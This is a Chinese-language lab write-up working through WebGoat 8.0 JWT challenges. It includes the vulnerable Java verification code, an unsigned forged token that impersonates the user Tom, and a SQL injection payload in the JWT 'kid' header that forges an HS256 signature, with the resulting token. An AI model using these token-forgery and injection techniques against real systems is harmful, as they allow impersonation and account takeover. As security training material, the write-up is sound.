JWT漏洞复现


RFC 7519 ),它定义了一种紧凑且自包含的方式,用于在各方之间以 JSON 对象的形式安全传输信息
此信息可以验证和信任,因为它是数字签名的。JWT 可以使用密钥(使用HMAC算法)或使用RSAECDSA的公钥/私钥对进行签名。

JWT通常分为三部分:
头部(Header),声明(Claims),签名(Signature)
三个部分以英文句号.隔开
JWT的内容以Base64URL编码的形式存在

https://hub.docker.com/r/webgoat/webgoat-8.0/
拉取:docker pull webgoat/webgoat-8.0
启动:docker run -p 映射端口:8080 -t webgoat/webgoat-8.0
https://jwt.io/
时间戳生成网址:https://tool.chinaz.com/tools/unixtime.aspx
image.png
http://ip+端口/WebGoat/login

此作业基于在 Bugcrowd 上的私人错误赏金计划中发现的漏洞,您可以在此处阅读完整的文章
此处提供了以下日志文件 你能找到一种方法来订购书籍但让汤姆为它们付费吗?

  1. 查看日志文件

通过观察日志文件,这是一串tom在2016年的一份JWT加密形式的身份令牌
image.png

  1. 综上我们可以利用这一串令牌,为tom创建一个新的权限

image.png
通过BP抓包可以看到请求包中,有一信息,授权书为空。我们将日志里的身份修改时间戳代入这里
image.png

  1. 用修改过后的payload 带入bp中,并重放包

Payload:
eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTgyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

image.png

  1. 完成任务!

image.png

第八关

摘要

最后的挑战

任务

下面您会看到两个帐户,一个是 Jerry,一个是 Tom。Jerry 想从 Twitter 上删除 Toms 的帐户,但他的令牌只能删除他自己的帐户。你能试着帮助他并删除汤姆斯的账户吗?
image.png

  1. 对删除Tom的包进行抓包

image.png
原始Token内容

#Token:
leSIsImFsZyI6IkhTMjU2In0.
eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs
ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJy
eUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiSmVycnkiLCJFbWFpbCI6ImplcnJ5
QHdlYmdvYXQuY29tIiwiUm9sZSI6WyJDYXQiXX0.
CgZ27DzgVW8gzc0n6izOU638uUCi6UhiOJKYzoEZGE8 


HEADER:ALGORITHM & TOKEN TYPE

{
  "typ": "JWT",
  "kid": "webgoat_key",
  "alg": "HS256"
}
PAYLOAD:DATA

8
{
  "iss": "WebGoat Token Builder",
  "iat": 1524210904,
  "exp": 1618905304,
  "aud": "webgoat.org",
  "sub": "jerry@webgoat.com",
  "username": "Jerry",
  "Email": "jerry@webgoat.com",
  "Role": [
    "Cat"
  ]
}
VERIFY SIGNATURE

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  

) secret base64 encoded
  1. 观察源码

从下面源码进行分析,可以看到JWT的签名验证是从数据库中读取的,但是获取数据库盐的值的地方传入的参数kid并没有进行任何的过滤,这样就可以使用注入来伪造一个JWT的签名,从而达到伪造目的

AttackResult resetVotes(@RequestParam("token") String token) {
    if (StringUtils.isEmpty(token)) {
        return trackProgress(failed().feedback("jwt-invalid-token").build());
    } else {
        try {
            final String[] errorMessage = {null};
            Jwt jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter() {
                @Override
                public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
                    final String kid = (String) header.get("kid");
                    try {
                        Connection connection = DatabaseUtilities.getConnection(webSession);
                        ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
                        while (rs.next()) {
                            return TextCodec.BASE64.decode(rs.getString(1));
                        }
                    } catch (SQLException e) {
                        errorMessage[0] = e.getMessage();
                    }
                    return null;
                }
            }).parse(token);
            if (errorMessage[0] != null) {
                return trackProgress(failed().output(errorMessage[0]).build());
            }
            Claims claims = (Claims) jwt.getBody();
            String username = (String) claims.get("username");
            if ("Jerry".equals(username)) {
                return trackProgress(failed().feedback("jwt-final-jerry-account").build());
            }
            if ("Tom".equals(username)) {
                return trackProgress(success().build());
            } else {
                return trackProgress(failed().feedback("jwt-final-not-tom").build());
            }
        } catch (JwtException e) {
            return trackProgress(failed().feedback("jwt-invalid-token").output(e.toString()).build());
        }
    }
}
  1. Token构造查询语句,更改身份为Tom

"'; select 'MQ==' from jwt_keys --"
image.png

  1. 利用前提:
  • 利用SQL注入,构造查询语句
  • 更改用户名为Tom (这一关中,只能自己删自己)
  • 验证签名更改为1 与 sql语句联动

Payload:
eyJ0eXAiOiJKV1QiLCJraWQiOiInOyBzZWxlY3QgJ01RPT0nIGZyb20gand0X2tleXMgLS0iLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTY1NjIxMTA4OCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsInVzZXJuYW1lIjoiVG9tIiwiRW1haWwiOiJqZXJyeUB3ZWJnb2F0LmNvbSIsIlJvbGUiOlsiQ2F0Il19.cOM5Nv_5Tpjj7eqadQRRFfPv2Rn8zRRisJoQIe1JJ7g

  1. 重新发包完成

image.png